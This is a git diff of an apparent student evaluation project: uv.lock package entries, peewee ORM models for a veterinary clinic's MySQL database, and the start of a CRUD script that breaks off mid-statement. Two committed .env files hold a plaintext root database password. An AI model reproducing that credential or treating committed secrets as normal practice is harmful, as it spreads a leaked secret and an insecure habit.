"sha256:a7945dd0eab63ded0a48e4dcade82939783c172290a7903ebde9e184333ca124", size = 230961, upload-time = "2026-02-20T20:16:58.461Z" }, + { url = "https://files.pythonhosted.org/packages/62/6b/a89f8456dcb06becff288f563618e9f20deed8dd29beea14f9a168aef64b/greenlet-3.3.2-cp313-cp313-win_arm64.whl", hash = "sha256:394ead29063ee3515b4e775216cb756b2e3b4a7e55ae8fd884f17fa579e6b327", size = 230221, upload-time = "2026-02-20T20:17:37.152Z" }, + { url = "https://files.pythonhosted.org/packages/3f/ae/8bffcbd373b57a5992cd077cbe8858fff39110480a9d50697091faea6f39/greenlet-3.3.2-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:8d1658d7291f9859beed69a776c10822a0a799bc4bfe1bd4272bb60e62507dab", size = 279650, upload-time = "2026-02-20T20:18:00.783Z" }, + { url = "https://files.pythonhosted.org/packages/d1/c0/45f93f348fa49abf32ac8439938726c480bd96b2a3c6f4d949ec0124b69f/greenlet-3.3.2-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:18cb1b7337bca281915b3c5d5ae19f4e76d35e1df80f4ad3c1a7be91fadf1082", size = 650295, upload-time = "2026-02-20T20:47:34.036Z" }, + { url = "https://files.pythonhosted.org/packages/b3/de/dd7589b3f2b8372069ab3e4763ea5329940fc7ad9dcd3e272a37516d7c9b/greenlet-3.3.2-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c2e47408e8ce1c6f1ceea0dffcdf6ebb85cc09e55c7af407c99f1112016e45e9", size = 662163, upload-time = "2026-02-20T20:56:01.295Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d8/09bfa816572a4d83bccd6750df1926f79158b1c36c5f73786e26dbe4ee38/greenlet-3.3.2-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63d10328839d1973e5ba35e98cccbca71b232b14051fd957b6f8b6e8e80d0506", size = 664160, upload-time = "2026-02-20T20:21:04.015Z" }, + { url = "https://files.pythonhosted.org/packages/48/cf/56832f0c8255d27f6c35d41b5ec91168d74ec721d85f01a12131eec6b93c/greenlet-3.3.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8e4ab3cfb02993c8cc248ea73d7dae6cec0253e9afa311c9b37e603ca9fad2ce", size = 1619181, upload-time = "2026-02-20T20:49:36.052Z" }, + { url = "https://files.pythonhosted.org/packages/0a/23/b90b60a4aabb4cec0796e55f25ffbfb579a907c3898cd2905c8918acaa16/greenlet-3.3.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:94ad81f0fd3c0c0681a018a976e5c2bd2ca2d9d94895f23e7bb1af4e8af4e2d5", size = 1687713, upload-time = "2026-02-20T20:21:11.684Z" }, + { url = "https://files.pythonhosted.org/packages/f3/ca/2101ca3d9223a1dc125140dbc063644dca76df6ff356531eb27bc267b446/greenlet-3.3.2-cp314-cp314-win_amd64.whl", hash = "sha256:8c4dd0f3997cf2512f7601563cc90dfb8957c0cff1e3a1b23991d4ea1776c492", size = 232034, upload-time = "2026-02-20T20:20:08.186Z" }, + { url = "https://files.pythonhosted.org/packages/f6/4a/ecf894e962a59dea60f04877eea0fd5724618da89f1867b28ee8b91e811f/greenlet-3.3.2-cp314-cp314-win_arm64.whl", hash = "sha256:cd6f9e2bbd46321ba3bbb4c8a15794d32960e3b0ae2cc4d49a1a53d314805d71", size = 231437, upload-time = "2026-02-20T20:18:59.722Z" }, + { url = "https://files.pythonhosted.org/packages/98/6d/8f2ef704e614bcf58ed43cfb8d87afa1c285e98194ab2cfad351bf04f81e/greenlet-3.3.2-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:e26e72bec7ab387ac80caa7496e0f908ff954f31065b0ffc1f8ecb1338b11b54", size = 286617, upload-time = "2026-02-20T20:19:29.856Z" }, + { url = "https://files.pythonhosted.org/packages/5e/0d/93894161d307c6ea237a43988f27eba0947b360b99ac5239ad3fe09f0b47/greenlet-3.3.2-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b466dff7a4ffda6ca975979bab80bdadde979e29fc947ac3be4451428d8b0e4", size = 655189, upload-time = "2026-02-20T20:47:35.742Z" }, + { url = "https://files.pythonhosted.org/packages/f5/2c/d2d506ebd8abcb57386ec4f7ba20f4030cbe56eae541bc6fd6ef399c0b41/greenlet-3.3.2-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b8bddc5b73c9720bea487b3bffdb1840fe4e3656fba3bd40aa1489e9f37877ff", size = 658225, upload-time = "2026-02-20T20:56:02.527Z" }, + { url = "https://files.pythonhosted.org/packages/8e/30/3a09155fbf728673a1dea713572d2d31159f824a37c22da82127056c44e4/greenlet-3.3.2-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b26b0f4428b871a751968285a1ac9648944cea09807177ac639b030bddebcea4", size = 657907, upload-time = "2026-02-20T20:21:05.259Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fd/d05a4b7acd0154ed758797f0a43b4c0962a843bedfe980115e842c5b2d08/greenlet-3.3.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:1fb39a11ee2e4d94be9a76671482be9398560955c9e568550de0224e41104727", size = 1618857, upload-time = "2026-02-20T20:49:37.309Z" }, + { url = "https://files.pythonhosted.org/packages/6f/e1/50ee92a5db521de8f35075b5eff060dd43d39ebd46c2181a2042f7070385/greenlet-3.3.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:20154044d9085151bc309e7689d6f7ba10027f8f5a8c0676ad398b951913d89e", size = 1680010, upload-time = "2026-02-20T20:21:13.427Z" }, + { url = "https://files.pythonhosted.org/packages/29/4b/45d90626aef8e65336bed690106d1382f7a43665e2249017e9527df8823b/greenlet-3.3.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c04c5e06ec3e022cbfe2cd4a846e1d4e50087444f875ff6d2c2ad8445495cf1a", size = 237086, upload-time = "2026-02-20T20:20:45.786Z" }, +] + +[[package]] +name = "sqlalchemy" +version = "2.0.48" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "greenlet", marker = "platform_machine == 'AMD64' or platform_machine == 'WIN32' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'ppc64le' or platform_machine == 'win32' or platform_machine == 'x86_64'" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1f/73/b4a9737255583b5fa858e0bb8e116eb94b88c910164ed2ed719147bde3de/sqlalchemy-2.0.48.tar.gz", hash = "sha256:5ca74f37f3369b45e1f6b7b06afb182af1fd5dde009e4ffd831830d98cbe5fe7", size = 9886075, upload-time = "2026-03-02T15:28:51.474Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/91/a42ae716f8925e9659df2da21ba941f158686856107a61cc97a95e7647a3/sqlalchemy-2.0.48-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:348174f228b99f33ca1f773e85510e08927620caa59ffe7803b37170df30332b", size = 2155737, upload-time = "2026-03-02T15:49:13.207Z" }, + { url = "https://files.pythonhosted.org/packages/b9/52/f75f516a1f3888f027c1cfb5d22d4376f4b46236f2e8669dcb0cddc60275/sqlalchemy-2.0.48-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53667b5f668991e279d21f94ccfa6e45b4e3f4500e7591ae59a8012d0f010dcb", size = 3337020, upload-time = "2026-03-02T15:50:34.547Z" }, + { url = "https://files.pythonhosted.org/packages/37/9a/0c28b6371e0cdcb14f8f1930778cb3123acfcbd2c95bb9cf6b4a2ba0cce3/sqlalchemy-2.0.48-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34634e196f620c7a61d18d5cf7dc841ca6daa7961aed75d532b7e58b309ac894", size = 3349983, upload-time = "2026-03-02T15:53:25.542Z" }, + { url = "https://files.pythonhosted.org/packages/1c/46/0aee8f3ff20b1dcbceb46ca2d87fcc3d48b407925a383ff668218509d132/sqlalchemy-2.0.48-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:546572a1793cc35857a2ffa1fe0e58571af1779bcc1ffa7c9fb0839885ed69a9", size = 3279690, upload-time = "2026-03-02T15:50:36.277Z" }, + { url = "https://files.pythonhosted.org/packages/ce/8c/a957bc91293b49181350bfd55e6dfc6e30b7f7d83dc6792d72043274a390/sqlalchemy-2.0.48-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:07edba08061bc277bfdc772dd2a1a43978f5a45994dd3ede26391b405c15221e", size = 3314738, upload-time = "2026-03-02T15:53:27.519Z" }, + { url = "https://files.pythonhosted.org/packages/4b/44/1d257d9f9556661e7bdc83667cc414ba210acfc110c82938cb3611eea58f/sqlalchemy-2.0.48-cp312-cp312-win32.whl", hash = "sha256:908a3fa6908716f803b86896a09a2c4dde5f5ce2bb07aacc71ffebb57986ce99", size = 2115546, upload-time = "2026-03-02T15:54:31.591Z" }, + { url = "https://files.pythonhosted.org/packages/f2/af/c3c7e1f3a2b383155a16454df62ae8c62a30dd238e42e68c24cebebbfae6/sqlalchemy-2.0.48-cp312-cp312-win_amd64.whl", hash = "sha256:68549c403f79a8e25984376480959975212a670405e3913830614432b5daa07a", size = 2142484, upload-time = "2026-03-02T15:54:34.072Z" }, + { url = "https://files.pythonhosted.org/packages/d1/c6/569dc8bf3cd375abc5907e82235923e986799f301cd79a903f784b996fca/sqlalchemy-2.0.48-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e3070c03701037aa418b55d36532ecb8f8446ed0135acb71c678dbdf12f5b6e4", size = 2152599, upload-time = "2026-03-02T15:49:14.41Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ff/f4e04a4bd5a24304f38cb0d4aa2ad4c0fb34999f8b884c656535e1b2b74c/sqlalchemy-2.0.48-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2645b7d8a738763b664a12a1542c89c940daa55196e8d73e55b169cc5c99f65f", size = 3278825, upload-time = "2026-03-02T15:50:38.269Z" }, + { url = "https://files.pythonhosted.org/packages/fe/88/cb59509e4668d8001818d7355d9995be90c321313078c912420603a7cb95/sqlalchemy-2.0.48-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b19151e76620a412c2ac1c6f977ab1b9fa7ad43140178345136456d5265b32ed", size = 3295200, upload-time = "2026-03-02T15:53:29.366Z" }, + { url = "https://files.pythonhosted.org/packages/87/dc/1609a4442aefd750ea2f32629559394ec92e89ac1d621a7f462b70f736ff/sqlalchemy-2.0.48-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5b193a7e29fd9fa56e502920dca47dffe60f97c863494946bd698c6058a55658", size = 3226876, upload-time = "2026-03-02T15:50:39.802Z" }, + { url = "https://files.pythonhosted.org/packages/37/c3/6ae2ab5ea2fa989fbac4e674de01224b7a9d744becaf59bb967d62e99bed/sqlalchemy-2.0.48-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:36ac4ddc3d33e852da9cb00ffb08cea62ca05c39711dc67062ca2bb1fae35fd8", size = 3265045, upload-time = "2026-03-02T15:53:31.421Z" }, + { url = "https://files.pythonhosted.org/packages/6f/82/ea4665d1bb98c50c19666e672f21b81356bd6077c4574e3d2bbb84541f53/sqlalchemy-2.0.48-cp313-cp313-win32.whl", hash = "sha256:389b984139278f97757ea9b08993e7b9d1142912e046ab7d82b3fbaeb0209131", size = 2113700, upload-time = "2026-03-02T15:54:35.825Z" }, + { url = "https://files.pythonhosted.org/packages/b7/2b/b9040bec58c58225f073f5b0c1870defe1940835549dafec680cbd58c3c3/sqlalchemy-2.0.48-cp313-cp313-win_amd64.whl", hash = "sha256:d612c976cbc2d17edfcc4c006874b764e85e990c29ce9bd411f926bbfb02b9a2", size = 2139487, upload-time = "2026-03-02T15:54:37.079Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f4/7b17bd50244b78a49d22cc63c969d71dc4de54567dc152a9b46f6fae40ce/sqlalchemy-2.0.48-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69f5bc24904d3bc3640961cddd2523e361257ef68585d6e364166dfbe8c78fae", size = 3558851, upload-time = "2026-03-02T15:57:48.607Z" }, + { url = "https://files.pythonhosted.org/packages/20/0d/213668e9aca61d370f7d2a6449ea4ec699747fac67d4bda1bb3d129025be/sqlalchemy-2.0.48-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fd08b90d211c086181caed76931ecfa2bdfc83eea3cfccdb0f82abc6c4b876cb", size = 3525525, upload-time = "2026-03-02T16:04:38.058Z" }, + { url = "https://files.pythonhosted.org/packages/85/d7/a84edf412979e7d59c69b89a5871f90a49228360594680e667cb2c46a828/sqlalchemy-2.0.48-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:1ccd42229aaac2df431562117ac7e667d702e8e44afdb6cf0e50fa3f18160f0b", size = 3466611, upload-time = "2026-03-02T15:57:50.759Z" }, + { url = "https://files.pythonhosted.org/packages/86/55/42404ce5770f6be26a2b0607e7866c31b9a4176c819e9a7a5e0a055770be/sqlalchemy-2.0.48-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f0dcbc588cd5b725162c076eb9119342f6579c7f7f55057bb7e3c6ff27e13121", size = 3475812, upload-time = "2026-03-02T16:04:40.092Z" }, + { url = "https://files.pythonhosted.org/packages/ae/ae/29b87775fadc43e627cf582fe3bda4d02e300f6b8f2747c764950d13784c/sqlalchemy-2.0.48-cp313-cp313t-win32.whl", hash = "sha256:9764014ef5e58aab76220c5664abb5d47d5bc858d9debf821e55cfdd0f128485", size = 2141335, upload-time = "2026-03-02T15:52:51.518Z" }, + { url = "https://files.pythonhosted.org/packages/91/44/f39d063c90f2443e5b46ec4819abd3d8de653893aae92df42a5c4f5843de/sqlalchemy-2.0.48-cp313-cp313t-win_amd64.whl", hash = "sha256:e2f35b4cccd9ed286ad62e0a3c3ac21e06c02abc60e20aa51a3e305a30f5fa79", size = 2173095, upload-time = "2026-03-02T15:52:52.79Z" }, + { url = "https://files.pythonhosted.org/packages/f7/b3/f437eaa1cf028bb3c927172c7272366393e73ccd104dcf5b6963f4ab5318/sqlalchemy-2.0.48-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e2d0d88686e3d35a76f3e15a34e8c12d73fc94c1dea1cd55782e695cc14086dd", size = 2154401, upload-time = "2026-03-02T15:49:17.24Z" }, + { url = "https://files.pythonhosted.org/packages/6c/1c/b3abdf0f402aa3f60f0df6ea53d92a162b458fca2321d8f1f00278506402/sqlalchemy-2.0.48-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:49b7bddc1eebf011ea5ab722fdbe67a401caa34a350d278cc7733c0e88fecb1f", size = 3274528, upload-time = "2026-03-02T15:50:41.489Z" }, + { url = "https://files.pythonhosted.org/packages/f2/5e/327428a034407651a048f5e624361adf3f9fbac9d0fa98e981e9c6ff2f5e/sqlalchemy-2.0.48-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:426c5ca86415d9b8945c7073597e10de9644802e2ff502b8e1f11a7a2642856b", size = 3279523, upload-time = "2026-03-02T15:53:32.962Z" }, + { url = "https://files.pythonhosted.org/packages/2a/ca/ece73c81a918add0965b76b868b7b5359e068380b90ef1656ee995940c02/sqlalchemy-2.0.48-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:288937433bd44e3990e7da2402fabc44a3c6c25d3704da066b85b89a85474ae0", size = 3224312, upload-time = "2026-03-02T15:50:42.996Z" }, + { url = "https://files.pythonhosted.org/packages/88/11/fbaf1ae91fa4ee43f4fe79661cead6358644824419c26adb004941bdce7c/sqlalchemy-2.0.48-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:8183dc57ae7d9edc1346e007e840a9f3d6aa7b7f165203a99e16f447150140d2", size = 3246304, upload-time = "2026-03-02T15:53:34.937Z" }, + { url = "https://files.pythonhosted.org/packages/fa/a8/5fb0deb13930b4f2f698c5541ae076c18981173e27dd00376dbaea7a9c82/sqlalchemy-2.0.48-cp314-cp314-win32.whl", hash = "sha256:1182437cb2d97988cfea04cf6cdc0b0bb9c74f4d56ec3d08b81e23d621a28cc6", size = 2116565, upload-time = "2026-03-02T15:54:38.321Z" }, + { url = "https://files.pythonhosted.org/packages/95/7e/e83615cb63f80047f18e61e31e8e32257d39458426c23006deeaf48f463b/sqlalchemy-2.0.48-cp314-cp314-win_amd64.whl", hash = "sha256:144921da96c08feb9e2b052c5c5c1d0d151a292c6135623c6b2c041f2a45f9e0", size = 2142205, upload-time = "2026-03-02T15:54:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/83/e3/69d8711b3f2c5135e9cde5f063bc1605860f0b2c53086d40c04017eb1f77/sqlalchemy-2.0.48-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5aee45fd2c6c0f2b9cdddf48c48535e7471e42d6fb81adfde801da0bd5b93241", size = 3563519, upload-time = "2026-03-02T15:57:52.387Z" }, + { url = "https://files.pythonhosted.org/packages/f8/4f/a7cce98facca73c149ea4578981594aaa5fd841e956834931de503359336/sqlalchemy-2.0.48-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7cddca31edf8b0653090cbb54562ca027c421c58ddde2c0685f49ff56a1690e0", size = 3528611, upload-time = "2026-03-02T16:04:42.097Z" }, + { url = "https://files.pythonhosted.org/packages/cd/7d/5936c7a03a0b0cb0fa0cc425998821c6029756b0855a8f7ee70fba1de955/sqlalchemy-2.0.48-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7a936f1bb23d370b7c8cc079d5fce4c7d18da87a33c6744e51a93b0f9e97e9b3", size = 3472326, upload-time = "2026-03-02T15:57:54.423Z" }, + { url = "https://files.pythonhosted.org/packages/f4/33/cea7dfc31b52904efe3dcdc169eb4514078887dff1f5ae28a7f4c5d54b3c/sqlalchemy-2.0.48-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e004aa9248e8cb0a5f9b96d003ca7c1c0a5da8decd1066e7b53f59eb8ce7c62b", size = 3478453, upload-time = "2026-03-02T16:04:44.584Z" }, + { url = "https://files.pythonhosted.org/packages/c8/95/32107c4d13be077a9cae61e9ae49966a35dc4bf442a8852dd871db31f62e/sqlalchemy-2.0.48-cp314-cp314t-win32.whl", hash = "sha256:b8438ec5594980d405251451c5b7ea9aa58dda38eb7ac35fb7e4c696712ee24f", size = 2147209, upload-time = "2026-03-02T15:52:54.274Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d7/1e073da7a4bc645eb83c76067284a0374e643bc4be57f14cc6414656f92c/sqlalchemy-2.0.48-cp314-cp314t-win_amd64.whl", hash = "sha256:d854b3970067297f3a7fbd7a4683587134aa9b3877ee15aa29eea478dc68f933", size = 2182198, upload-time = "2026-03-02T15:52:55.606Z" }, + { url = "https://files.pythonhosted.org/packages/46/2c/9664130905f03db57961b8980b05cab624afd114bf2be2576628a9f22da4/sqlalchemy-2.0.48-py3-none-any.whl", hash = "sha256:a66fe406437dd65cacd96a72689a3aaaecaebbcd62d81c5ac1c0fdbeac835096", size = 1940202, upload-time = "2026-03-02T15:52:43.285Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/.env b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/.env new file mode 100644 index 0000000..02d7de1 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/.env @@ -0,0 +1 @@ +DB_PASSWORD=MementoMarsouin96 \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/.python-version b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/02_evaluation.pdf b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/02_evaluation.pdf new file mode 100644 index 0000000..2252c3e Binary files /dev/null and b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/02_evaluation.pdf differ diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Biche_Gauvain_mwb.mwb.beforefix b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Biche_Gauvain_mwb.mwb.beforefix new file mode 100644 index 0000000..13a9774 Binary files /dev/null and b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Biche_Gauvain_mwb.mwb.beforefix differ diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_eval_20_03_2026.zip b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_eval_20_03_2026.zip new file mode 100644 index 0000000..95c3075 Binary files /dev/null and b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_eval_20_03_2026.zip differ diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_mwb.mwb b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_mwb.mwb new file mode 100644 index 0000000..13a9774 Binary files /dev/null and b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_mwb.mwb differ diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_mwb.mwb.beforefix b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_mwb.mwb.beforefix new file mode 100644 index 0000000..13a9774 Binary files /dev/null and b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Boiche_Gauvain_mwb.mwb.beforefix differ diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/.env b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/.env new file mode 100644 index 0000000..4776e66 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/.env @@ -0,0 +1,4 @@ +DB_HOST=localhost +DB_USER=root +DB_PASSWORD=MementoMarsouin96 +DB_NAME=petcare \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/__init__.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/__init__.py new file mode 100644 index 0000000..d915343 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/__init__.py @@ -0,0 +1,23 @@ +from peewee import * + +import os +from dotenv import load_dotenv + +load_dotenv() + +db_name = os.environ.get("DB_NAME") +db_user = os.environ.get("DB_USER") +db_password = os.environ.get("DB_PASSWORD") +db_host = os.environ.get("DB_HOST") + +db = MySQLDatabase( + database= db_name, + user= db_user, + password= db_password, + host= db_host, + port= 3306 +) + +class BaseModel(Model): + class Meta: + database = db \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/care.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/care.py new file mode 100644 index 0000000..89ff2bd --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/care.py @@ -0,0 +1,10 @@ +from __init__ import * + +class Care(BaseModel): + id = AutoField(primary_key= True) + nom = CharField(max_length= 150, null= False) + description = TextField() + prix = DecimalField(max_digits= 6, decimal_places= 2) + + class Meta: + table_name = "traitement" diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/consultation.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/consultation.py new file mode 100644 index 0000000..d47bdff --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/consultation.py @@ -0,0 +1,27 @@ +from __init__ import * +from classes.pet import Pet +from classes.veterinarian import Veterinarian +from classes.care import Care + +class Consultation(BaseModel): + id = AutoField(primary_key= True) + date_consultation = DateField(formats= '%Y-%m-%d') # formats= '%Y-%m-%d %H:%M:%S + motif = CharField(max_length= 255, null= False) + diagnostic = TextField() + prix_consultation = DecimalField(max_digits= 6, decimal_places= 2) + + animal = ForeignKeyField(Pet, backref= "animal", null= False) + veterinaire = ForeignKeyField(Veterinarian, backref= "veterinaire", null= False) + + class Meta: + table_name = "consultation" + +class ConsultationCare(BaseModel): + consultation = ForeignKeyField(Consultation) + traitement = ForeignKeyField(Care) + + class Meta: + table_name = "consultation_traitement" + indexes= ( + (("consultation", "traitement"), True), + ) \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/owner.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/owner.py new file mode 100644 index 0000000..4097ee4 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/owner.py @@ -0,0 +1,12 @@ +from __init__ import * + +class Owner(BaseModel): + id = AutoField(primary_key= True) + prenom = CharField(max_length= 100, null= False) + nom = CharField(max_length= 100, null= False) + telephone = CharField(max_length= 15, null= False) + email = CharField(max_length= 150, null= False, unique= True) + ville = CharField(max_length= 100, null= False) + + class Meta: + table_name = "proprietaire" \ No newline at end of file diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/pet.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/pet.py new file mode 100644 index 0000000..5673a29 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/pet.py @@ -0,0 +1,15 @@ +from __init__ import * +from classes.owner import Owner + +class Pet(BaseModel): + id = AutoField(primary_key= True) + nom = CharField(max_length= 100, null= False) + espece = CharField(max_length= 50, null= False) + race = CharField(max_length= 100, null= False) + date_naissance = DateField(formats= '%Y-%m-%d') + poids = DecimalField(max_digits= 5, decimal_places= 2) + + proprietaire = ForeignKeyField(Owner, backref= "proprietaire", null= False) + + class Meta: + table_name = "animal" diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/veterinarian.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/veterinarian.py new file mode 100644 index 0000000..b72d290 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/classes/veterinarian.py @@ -0,0 +1,11 @@ +from __init__ import * + +class Veterinarian(BaseModel): + id = AutoField(primary_key= True) + prenom = CharField(max_length= 100, null= False) + nom = CharField(max_length= 100, null= False) + specialite = CharField(max_length= 100, null= False, unique= True) + telephone = CharField(max_length= 15, null= False) + + class Meta: + table_name = "veterinaire" diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/evaluation.py b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/evaluation.py new file mode 100644 index 0000000..e8d8897 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/Part_01/evaluation.py @@ -0,0 +1,127 @@ +from __init__ import * + +# 1. Modèles + +from classes.care import * +from classes.consultation import * +from classes.owner import * +from classes.pet import * +from classes.veterinarian import * + +# 2. CRUD + +## 1. CREATE + +try: + with db.atomic(): + owner_01 = Owner.create( + prenom= "Camille", + nom= "LEMOINE", + telephone= "0656781234", + email= "camille.lemoine@mail.com", + ville= "Bordeaux" + ) + pet_01 = Pet.create( + nom= "Pixel", + espece= "Chat", + race= "Bengal", + date_naissance= "2023-06-15", + poids= 4.5, + proprietaire= owner_01 + ) + veterinarian_01_girard = Veterinarian.get(3) + consultation_01 = Consultation.create( + date_consultation= "2025-05-15", + motif= "Première visite", + diagnostic= "RAS", + prix_consultation= 35.00, + animal= pet_01, + veterinaire= veterinarian_01_girard + ) + + care_01_vermifuge = Care.get(Care.nom == "Vermifuge") + care_01_puce_elec = Care.get(10) + + ConsultationCare.create(consultation= consultation_01, traitement= 